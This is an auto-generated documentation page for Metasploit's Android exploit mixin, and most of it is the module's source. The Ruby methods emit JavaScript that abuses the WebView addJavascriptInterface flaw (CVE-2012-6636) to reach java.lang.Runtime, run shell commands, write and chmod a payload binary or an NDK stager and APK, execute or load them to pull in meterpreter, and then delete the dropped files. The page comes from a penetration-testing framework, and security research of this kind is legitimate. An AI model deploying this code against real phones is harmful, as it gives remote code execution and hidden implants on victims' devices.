573 lines
22 KiB
HTML
573 lines
22 KiB
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<!DOCTYPE html>
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<meta name="viewport" content="width=device-width, initial-scale=1.0">
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<title>
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Module: Msf::Exploit::Android
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— Documentation by YARD 0.9.37
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<a href="../../_index.html">Index (A)</a> »
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<span class='title'><span class='object_link'><a href="../../Msf.html" title="Msf (module)">Msf</a></span></span> » <span class='title'><span class='object_link'><a href="../Exploit.html" title="Msf::Exploit (class)">Exploit</a></span></span>
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»
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<span class="title">Android</span>
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</div>
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<div id="search">
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href="../../class_list.html">
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<div class="clear"></div>
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</div>
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<div id="content"><h1>Module: Msf::Exploit::Android
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</h1>
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<div class="box_info">
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<dl>
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<dt>Defined in:</dt>
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<dd>lib/msf/core/exploit/android.rb</dd>
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</dl>
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</div>
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<h2>
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Constant Summary
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<small><a href="#" class="constants_summary_toggle">collapse</a></small>
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</h2>
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<dl class="constants">
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<dt id="SUPPORTED_ARCHES-constant" class="">SUPPORTED_ARCHES =
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<div class="docstring">
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<div class="discussion">
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<p>Since the NDK stager is used, arch detection must be performed</p>
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</div>
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</div>
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<div class="tags">
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</div>
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</dt>
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<dd><pre class="code"><span class='lbracket'>[</span> <span class='const'>ARCH_ARMLE</span><span class='comma'>,</span> <span class='const'>ARCH_MIPSLE</span><span class='comma'>,</span> <span class='const'>ARCH_X86</span> <span class='rbracket'>]</span></pre></dd>
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<dt id="DEFAULT_ARCH-constant" class="">DEFAULT_ARCH =
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<div class="docstring">
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<div class="discussion">
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<p>Most android devices are ARM</p>
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</div>
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</div>
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<div class="tags">
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</div>
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</dt>
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<dd><pre class="code"><span class='const'>ARCH_ARMLE</span></pre></dd>
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<dt id="NDK_FILES-constant" class="">NDK_FILES =
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<div class="docstring">
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<div class="discussion">
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<p>Some of the default NDK build targets are named differently than msf’s builtin constants. This mapping allows the ndkstager file to be looked up from the msf constant.</p>
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</div>
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</div>
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<div class="tags">
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</div>
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</dt>
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<dd><pre class="code"><span class='lbrace'>{</span>
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<span class='const'>ARCH_ARMLE</span> <span class='op'>=></span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>armeabi</span><span class='tstring_end'>'</span></span><span class='comma'>,</span>
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<span class='const'>ARCH_MIPSLE</span> <span class='op'>=></span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>mips</span><span class='tstring_end'>'</span></span>
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<span class='rbrace'>}</span></pre></dd>
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</dl>
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<h2>
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Instance Method Summary
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<small><a href="#" class="summary_toggle">collapse</a></small>
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</h2>
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<ul class="summary">
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<li class="public ">
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<span class="summary_signature">
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<a href="#add_javascript_interface_exploit_js-instance_method" title="#add_javascript_interface_exploit_js (instance method)">#<strong>add_javascript_interface_exploit_js</strong>(arch) ⇒ Object </a>
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</span>
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<span class="summary_desc"><div class='inline'></div></span>
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</li>
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<li class="public ">
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<span class="summary_signature">
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<a href="#linux_exe_js-instance_method" title="#linux_exe_js (instance method)">#<strong>linux_exe_js</strong>(arch) ⇒ Object </a>
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</span>
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<span class="summary_desc"><div class='inline'></div></span>
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</li>
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<li class="public ">
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<span class="summary_signature">
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<a href="#ndkstager-instance_method" title="#ndkstager (instance method)">#<strong>ndkstager</strong>(stagename, arch) ⇒ Object </a>
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</span>
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<span class="summary_desc"><div class='inline'>
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<p>The NDK stager is used to launch a hidden APK.</p>
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</div></span>
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</li>
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<li class="public ">
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<span class="summary_signature">
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<a href="#stager_js-instance_method" title="#stager_js (instance method)">#<strong>stager_js</strong>(arch) ⇒ Object </a>
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</span>
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<span class="summary_desc"><div class='inline'></div></span>
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</li>
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</ul>
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<div id="instance_method_details" class="method_details_list">
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<h2>Instance Method Details</h2>
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<div class="method_details first">
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<h3 class="signature first" id="add_javascript_interface_exploit_js-instance_method">
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#<strong>add_javascript_interface_exploit_js</strong>(arch) ⇒ <tt>Object</tt>
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</h3><table class="source_code">
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<tr>
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<pre class="lines">
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55</pre>
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</td>
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<td>
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<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/android.rb', line 20</span>
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<span class='kw'>def</span> <span class='id identifier rubyid_add_javascript_interface_exploit_js'>add_javascript_interface_exploit_js</span><span class='lparen'>(</span><span class='id identifier rubyid_arch'>arch</span><span class='rparen'>)</span>
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<span class='tstring'><span class='tstring_beg'>%Q|</span><span class='tstring_content'>
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function exec(runtime, cmdArr) {
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var ch = 0;
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var output = '';
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var process = runtime.exec(cmdArr);
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var input = process.getInputStream();
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while ((ch = input.read()) > 0) { output += String.fromCharCode(ch); }
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return output;
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}
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function attemptExploit(obj) {
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// ensure that the object contains a native interface
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try { obj.getClass().forName('java.lang.Runtime'); } catch(e) { return; }
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// get the pid
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var pid = obj.getClass()
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.forName('android.os.Process')
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.getMethod('myPid', null)
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.invoke(null, null);
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// get the runtime so we can exec
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var runtime = obj.getClass()
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.forName('java.lang.Runtime')
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.getMethod('getRuntime', null)
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.invoke(null, null);
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</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_payload'>payload</span><span class='period'>.</span><span class='id identifier rubyid_arch'>arch</span><span class='lbracket'>[</span><span class='int'>0</span><span class='rbracket'>]</span> <span class='op'>==</span> <span class='const'>ARCH_DALVIK</span> <span class='op'>?</span> <span class='id identifier rubyid_stager_js'>stager_js</span><span class='lparen'>(</span><span class='id identifier rubyid_arch'>arch</span><span class='rparen'>)</span> <span class='op'>:</span> <span class='id identifier rubyid_linux_exe_js'>linux_exe_js</span><span class='lparen'>(</span><span class='id identifier rubyid_arch'>arch</span><span class='rparen'>)</span><span class='embexpr_end'>}</span><span class='tstring_content'>
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return true;
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}
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for (i in top) { if (attemptExploit(top[i]) === true) break; }
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</span><span class='tstring_end'>|</span></span>
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<span class='kw'>end</span></pre>
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</td>
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</table>
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</div>
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<div class="method_details ">
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<h3 class="signature " id="linux_exe_js-instance_method">
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#<strong>linux_exe_js</strong>(arch) ⇒ <tt>Object</tt>
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</h3><table class="source_code">
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</td>
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<td>
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<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/android.rb', line 91</span>
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<span class='kw'>def</span> <span class='id identifier rubyid_linux_exe_js'>linux_exe_js</span><span class='lparen'>(</span><span class='id identifier rubyid_arch'>arch</span><span class='rparen'>)</span>
|
|||
|
|
<span class='id identifier rubyid_platform_list'>platform_list</span> <span class='op'>=</span> <span class='const'><span class='object_link'><a href="../../Msf.html" title="Msf (module)">Msf</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../Module.html" title="Msf::Module (class)">Module</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../Module/PlatformList.html" title="Msf::Module::PlatformList (class)">PlatformList</a></span></span><span class='period'>.</span><span class='id identifier rubyid_new'><span class='object_link'><a href="../Module/PlatformList.html#initialize-instance_method" title="Msf::Module::PlatformList#initialize (method)">new</a></span></span><span class='lparen'>(</span><span class='const'><span class='object_link'><a href="../../Msf.html" title="Msf (module)">Msf</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../Module.html" title="Msf::Module (class)">Module</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../Module/Platform.html" title="Msf::Module::Platform (class)">Platform</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../Module/Platform/Linux.html" title="Msf::Module::Platform::Linux (class)">Linux</a></span></span><span class='rparen'>)</span>
|
|||
|
|
|
|||
|
|
<span class='tstring'><span class='tstring_beg'>%Q|</span><span class='tstring_content'>
|
|||
|
|
var payloadData = "</span><span class='embexpr_beg'>#{</span><span class='const'><span class='object_link'><a href="../../Rex.html" title="Rex (module)">Rex</a></span></span><span class='op'>::</span><span class='const'>Text</span><span class='period'>.</span><span class='id identifier rubyid_to_octal'>to_octal</span><span class='lparen'>(</span><span class='id identifier rubyid_payload'>payload</span><span class='period'>.</span><span class='id identifier rubyid_encoded_exe'>encoded_exe</span><span class='lparen'>(</span><span class='label'>arch:</span> <span class='id identifier rubyid_arch'>arch</span><span class='comma'>,</span> <span class='label'>platform:</span> <span class='id identifier rubyid_platform_list'>platform_list</span><span class='rparen'>)</span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>\\\\0</span><span class='tstring_end'>'</span></span><span class='rparen'>)</span><span class='embexpr_end'>}</span><span class='tstring_content'>";
|
|||
|
|
|
|||
|
|
// get the process name, which will give us our data path
|
|||
|
|
// $PPID does not seem to work on android 4.0, so we concat pids manually
|
|||
|
|
var path = '/data/data/' + exec(runtime, ['/system/bin/sh', '-c', 'cat /proc/'+pid.toString()+'/cmdline']);
|
|||
|
|
var payloadPath = path + '/</span><span class='embexpr_beg'>#{</span><span class='const'><span class='object_link'><a href="../../Rex.html" title="Rex (module)">Rex</a></span></span><span class='op'>::</span><span class='const'>Text</span><span class='period'>.</span><span class='id identifier rubyid_rand_text_alpha'>rand_text_alpha</span><span class='lparen'>(</span><span class='int'>8</span><span class='rparen'>)</span><span class='embexpr_end'>}</span><span class='tstring_content'>';
|
|||
|
|
|
|||
|
|
// build the library and chmod it
|
|||
|
|
runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+payloadData+'" > '+payloadPath]).waitFor();
|
|||
|
|
runtime.exec(['chmod', '700', payloadPath]).waitFor();
|
|||
|
|
|
|||
|
|
// run the payload
|
|||
|
|
runtime.exec(['/system/bin/sh', '-c', payloadPath + ' &']).waitFor();
|
|||
|
|
|
|||
|
|
// delete dropped files
|
|||
|
|
runtime.exec(['rm', payloadPath]).waitFor();
|
|||
|
|
</span><span class='tstring_end'>|</span></span>
|
|||
|
|
<span class='kw'>end</span></pre>
|
|||
|
|
</td>
|
|||
|
|
</tr>
|
|||
|
|
</table>
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
<div class="method_details ">
|
|||
|
|
<h3 class="signature " id="ndkstager-instance_method">
|
|||
|
|
|
|||
|
|
#<strong>ndkstager</strong>(stagename, arch) ⇒ <tt>Object</tt>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
</h3><div class="docstring">
|
|||
|
|
<div class="discussion">
|
|||
|
|
|
|||
|
|
<p>The NDK stager is used to launch a hidden APK</p>
|
|||
|
|
|
|||
|
|
|
|||
|
|
</div>
|
|||
|
|
</div>
|
|||
|
|
<div class="tags">
|
|||
|
|
|
|||
|
|
|
|||
|
|
</div><table class="source_code">
|
|||
|
|
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|
|||
|
|
<td>
|
|||
|
|
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|
|||
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|
|||
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|
|||
|
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|
|||
|
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|
|||
|
|
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|
|||
|
|
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|
|||
|
|
119</pre>
|
|||
|
|
</td>
|
|||
|
|
<td>
|
|||
|
|
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/android.rb', line 115</span>
|
|||
|
|
|
|||
|
|
<span class='kw'>def</span> <span class='id identifier rubyid_ndkstager'>ndkstager</span><span class='lparen'>(</span><span class='id identifier rubyid_stagename'>stagename</span><span class='comma'>,</span> <span class='id identifier rubyid_arch'>arch</span><span class='rparen'>)</span>
|
|||
|
|
<span class='id identifier rubyid_stager_file'>stager_file</span> <span class='op'>=</span> <span class='const'>File</span><span class='period'>.</span><span class='id identifier rubyid_join'>join</span><span class='lparen'>(</span> <span class='const'><span class='object_link'><a href="../../Msf.html" title="Msf (module)">Msf</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../Config.html" title="Msf::Config (class)">Config</a></span></span><span class='period'>.</span><span class='id identifier rubyid_data_directory'><span class='object_link'><a href="../Config.html#data_directory-class_method" title="Msf::Config.data_directory (method)">data_directory</a></span></span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>exploits</span><span class='tstring_end'>"</span></span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>CVE-2012-6636</span><span class='tstring_end'>"</span></span><span class='comma'>,</span> <span class='const'><span class='object_link'><a href="#NDK_FILES-constant" title="Msf::Exploit::Android::NDK_FILES (constant)">NDK_FILES</a></span></span><span class='lbracket'>[</span><span class='id identifier rubyid_arch'>arch</span><span class='rbracket'>]</span> <span class='op'>||</span> <span class='id identifier rubyid_arch'>arch</span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>libndkstager.so</span><span class='tstring_end'>'</span></span><span class='rparen'>)</span>
|
|||
|
|
<span class='id identifier rubyid_data'>data</span> <span class='op'>=</span> <span class='const'>File</span><span class='period'>.</span><span class='id identifier rubyid_read'>read</span><span class='lparen'>(</span><span class='id identifier rubyid_stager_file'>stager_file</span><span class='comma'>,</span> <span class='label'>mode:</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>rb</span><span class='tstring_end'>'</span></span><span class='rparen'>)</span>
|
|||
|
|
<span class='id identifier rubyid_data'>data</span><span class='period'>.</span><span class='id identifier rubyid_gsub!'>gsub!</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>PLOAD</span><span class='tstring_end'>'</span></span><span class='comma'>,</span> <span class='id identifier rubyid_stagename'>stagename</span><span class='rparen'>)</span>
|
|||
|
|
<span class='kw'>end</span></pre>
|
|||
|
|
</td>
|
|||
|
|
</tr>
|
|||
|
|
</table>
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
<div class="method_details ">
|
|||
|
|
<h3 class="signature " id="stager_js-instance_method">
|
|||
|
|
|
|||
|
|
#<strong>stager_js</strong>(arch) ⇒ <tt>Object</tt>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
</h3><table class="source_code">
|
|||
|
|
<tr>
|
|||
|
|
<td>
|
|||
|
|
<pre class="lines">
|
|||
|
|
|
|||
|
|
|
|||
|
|
57
|
|||
|
|
58
|
|||
|
|
59
|
|||
|
|
60
|
|||
|
|
61
|
|||
|
|
62
|
|||
|
|
63
|
|||
|
|
64
|
|||
|
|
65
|
|||
|
|
66
|
|||
|
|
67
|
|||
|
|
68
|
|||
|
|
69
|
|||
|
|
70
|
|||
|
|
71
|
|||
|
|
72
|
|||
|
|
73
|
|||
|
|
74
|
|||
|
|
75
|
|||
|
|
76
|
|||
|
|
77
|
|||
|
|
78
|
|||
|
|
79
|
|||
|
|
80
|
|||
|
|
81
|
|||
|
|
82
|
|||
|
|
83
|
|||
|
|
84
|
|||
|
|
85
|
|||
|
|
86
|
|||
|
|
87
|
|||
|
|
88
|
|||
|
|
89</pre>
|
|||
|
|
</td>
|
|||
|
|
<td>
|
|||
|
|
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/android.rb', line 57</span>
|
|||
|
|
|
|||
|
|
<span class='kw'>def</span> <span class='id identifier rubyid_stager_js'>stager_js</span><span class='lparen'>(</span><span class='id identifier rubyid_arch'>arch</span><span class='rparen'>)</span>
|
|||
|
|
<span class='id identifier rubyid_stagename'>stagename</span> <span class='op'>=</span> <span class='const'><span class='object_link'><a href="../../Rex.html" title="Rex (module)">Rex</a></span></span><span class='op'>::</span><span class='const'>Text</span><span class='period'>.</span><span class='id identifier rubyid_rand_text_alpha'>rand_text_alpha</span><span class='lparen'>(</span><span class='int'>5</span><span class='rparen'>)</span>
|
|||
|
|
<span class='tstring'><span class='tstring_beg'>%Q|</span><span class='tstring_content'>
|
|||
|
|
// libraryData contains the bytes for a native shared object built via NDK
|
|||
|
|
// which will load the "stage", which in this case is our android meterpreter stager.
|
|||
|
|
var libraryData = "</span><span class='embexpr_beg'>#{</span><span class='const'><span class='object_link'><a href="../../Rex.html" title="Rex (module)">Rex</a></span></span><span class='op'>::</span><span class='const'>Text</span><span class='period'>.</span><span class='id identifier rubyid_to_octal'>to_octal</span><span class='lparen'>(</span><span class='id identifier rubyid_ndkstager'>ndkstager</span><span class='lparen'>(</span><span class='id identifier rubyid_stagename'>stagename</span><span class='comma'>,</span> <span class='id identifier rubyid_arch'>arch</span><span class='rparen'>)</span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>\\\\0</span><span class='tstring_end'>'</span></span><span class='rparen'>)</span><span class='embexpr_end'>}</span><span class='tstring_content'>";
|
|||
|
|
|
|||
|
|
// the stageData is the JVM bytecode that is loaded by the NDK stager. It contains
|
|||
|
|
// another stager which loads android meterpreter from the msf handler.
|
|||
|
|
var stageData = "</span><span class='embexpr_beg'>#{</span><span class='const'><span class='object_link'><a href="../../Rex.html" title="Rex (module)">Rex</a></span></span><span class='op'>::</span><span class='const'>Text</span><span class='period'>.</span><span class='id identifier rubyid_to_octal'>to_octal</span><span class='lparen'>(</span><span class='id identifier rubyid_payload'>payload</span><span class='period'>.</span><span class='id identifier rubyid_raw'>raw</span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>\\\\0</span><span class='tstring_end'>'</span></span><span class='rparen'>)</span><span class='embexpr_end'>}</span><span class='tstring_content'>";
|
|||
|
|
|
|||
|
|
// get the process name, which will give us our data path
|
|||
|
|
// $PPID does not seem to work on android 4.0, so we concat pids manually
|
|||
|
|
var path = '/data/data/' + exec(runtime, ['/system/bin/sh', '-c', 'cat /proc/'+pid.toString()+'/cmdline']);
|
|||
|
|
var libraryPath = path + '/lib</span><span class='embexpr_beg'>#{</span><span class='const'><span class='object_link'><a href="../../Rex.html" title="Rex (module)">Rex</a></span></span><span class='op'>::</span><span class='const'>Text</span><span class='period'>.</span><span class='id identifier rubyid_rand_text_alpha'>rand_text_alpha</span><span class='lparen'>(</span><span class='int'>8</span><span class='rparen'>)</span><span class='embexpr_end'>}</span><span class='tstring_content'>.so';
|
|||
|
|
var stagePath = path + '/</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_stagename'>stagename</span><span class='embexpr_end'>}</span><span class='tstring_content'>.apk';
|
|||
|
|
|
|||
|
|
// build the library and chmod it
|
|||
|
|
runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+libraryData+'" > '+libraryPath]).waitFor();
|
|||
|
|
runtime.exec(['chmod', '700', libraryPath]).waitFor();
|
|||
|
|
|
|||
|
|
// build the stage, chmod it, and load it
|
|||
|
|
runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+stageData+'" > '+stagePath]).waitFor();
|
|||
|
|
runtime.exec(['chmod', '700', stagePath]).waitFor();
|
|||
|
|
|
|||
|
|
// load the library
|
|||
|
|
runtime.load(libraryPath);
|
|||
|
|
|
|||
|
|
// delete dropped files
|
|||
|
|
runtime.exec(['rm', stagePath]).waitFor();
|
|||
|
|
runtime.exec(['rm', libraryPath]).waitFor();
|
|||
|
|
</span><span class='tstring_end'>|</span></span>
|
|||
|
|
<span class='kw'>end</span></pre>
|
|||
|
|
</td>
|
|||
|
|
</tr>
|
|||
|
|
</table>
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
<div id="footer">
|
|||
|
|
Generated on Fri May 8 17:01:10 2026 by
|
|||
|
|
<a href="https://yardoc.org" title="Yay! A Ruby Documentation Tool" target="_parent">yard</a>
|
|||
|
|
0.9.37 (ruby-3.1.5).
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
</div>
|
|||
|
|
</body>
|
|||
|
|
</html>
|